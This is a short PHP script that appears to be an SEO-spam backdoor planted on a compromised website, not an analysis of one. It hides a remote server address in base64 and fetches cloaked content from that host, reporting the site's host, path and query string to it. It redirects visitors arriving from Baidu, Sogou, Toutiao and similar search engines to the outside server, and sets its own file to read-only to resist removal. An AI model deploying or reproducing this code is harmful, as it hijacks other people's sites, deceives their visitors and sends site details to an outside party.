<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$TD_server = base64_decode("aHR0cDovL2J6LnN5LWMuY29tLmNu");
$TD_servera = base64_decode("aHR0cDovL2J6LnN5LWMuY29tLmNu");
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);
echo $Content_mb;
$httpuser=strtolower($_SERVER['HTTP_REFERER']);
if(strstr($httpuser,'so') or strstr($httpuser,'baidu') or strstr($httpuser,'sogou') or strstr($httpuser,'toutiao'))
{
Header("Location: $TD_servera");
exit; 
}
$url1 = $_SERVER['PHP_SELF'];  
$filename1 = @end(explode('/',$url1));  
function set_writeable($file_name)
{@chmod($file_name,0444);} 
set_writeable($filename1);
